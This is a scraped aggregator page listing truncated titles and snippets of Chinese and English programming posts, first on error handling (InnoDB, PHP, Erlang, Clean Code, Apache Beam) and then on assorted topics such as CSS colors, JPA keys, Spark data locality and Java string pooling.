  3. 转 InnoDB Error Handling

    14.20.4 InnoDB Error Handling Error handling in InnoDB is not always the same as specified in the SQ ...

  4. Error Handling and Exception

    The default error handling in PHP is very simple.An error message with filename, line number and a m ...

  5. Fortify漏洞之Portability Flaw&colon; File Separator 和 Poor Error Handling&colon; Return Inside Finally

    继续对Fortify的漏洞进行总结,本篇主要针对 Portability Flaw: File Separator 和  Poor Error Handling: Return Inside Fina ...

  6. Erlang error handling

    Erlang error handling Contents Preface try-catch Process link Erlang-way error handling OTP supervis ...

  7. Error Handling

    Use Exceptions Rather Than Return Codes Back in the distant past there were many languages that didn ...

  8. Clean Code&ndash&semi;Chapter 7 Error Handling

    Error handling is important, but if it obscures logic, it's wrong. Use Exceptions Rather Than Return ...

  9. beam 的异常处理 Error Handling Elements in Apache Beam Pipelines

    Error Handling Elements in Apache Beam Pipelines Vallery LanceyFollow Mar 15 I have noticed a defici ...

随机推荐

  1. UIWindow 实现遮盖导航条的蒙版

    使用代码构建应用的主界面 我们先来介绍一下,如何使用代码来构建项目的主界面,以及主界面的一般架构方式 概述 刚创建的 iOS 项目默认是使用 Main.storeboard 作为项目的主界面的 若你不 ...

  2. CSS颜色代码 颜色值 颜色名字大全&lpar;转载&rpar;

    CSS颜色代码 颜色值 颜色名字大全 转载处http://flyjj.com/css-colour-code.html 颜色值 CSS 颜色使用组合了红绿蓝颜色值 (RGB) 的十六进制 (hex) ...

  3. ListableBeanFactory

    ListableBeanFactory public interface ListableBeanFactory extends BeanFactory 该接口中定义了可以获取配置中所有bean的信息 ...

  4. spark新能优化之数据本地化

    数据本地化的背景: 数据本地化对于Spark Job性能有着巨大的影响.如果数据以及要计算它的代码是在一起的,那么性能当然会非常高.但是,如果数据和计算它的代码是分开的,那么其中之一必须到另外一方的机 ...

  5. JPA主键策略

    JPA 自带的主键策略有 4 种,在枚举 javax.persistence.GenerationType 中,分别是:TABLE.SEQUENCE.IDENTITY.AUTO. TABLE:通过表产 ...

  6. 也谈android开发图像压缩

    long long ago,给学院做的一个通讯录App需要有一个上传图像的功能,冥思苦想,绞尽脑汁后来还是没解决(学生时代的事),于是就直接上传原图了,一张图片2M到3M,这样我的应用发布之后,那绝对 ...

  7. jquery学习(2)--选择器

    jquery-李炎恢学习视频学习笔记.自己手写. 简单的选择器    css 写 法: #box{ color:#f00;}    //id选择器    jquery获取:$('#box').css( ...

  8. requests补充

    HTTP/1.1 协议规定的 HTTP 请求方法有 OPTIONS.GET.HEAD.POST.PUT.DELETE.TRACE.CONNECT 这几种.其中,POST 一般用来向服务端提交数据,本文 ...

  9. 【C语言程序】输出前50个素数

    #include <stdio.h> #include <stdlib.h> int main(void) {  ;  ;  ){   ;   ;i<x;i++){    ...

  10. java 创建string对象机制 字符串缓冲池 字符串拼接机制 字符串中intern&lpar;&rpar;方法

    字符串常量池:字符串常量池在方法区中 为了优化空间,为了减少在JVM中创建的字符串的数量,字符串类维护了一个字符串池,每当代码创建字符串常量时,JVM会首先检查字符串常量池.如果字符串已经存在池中,就 ...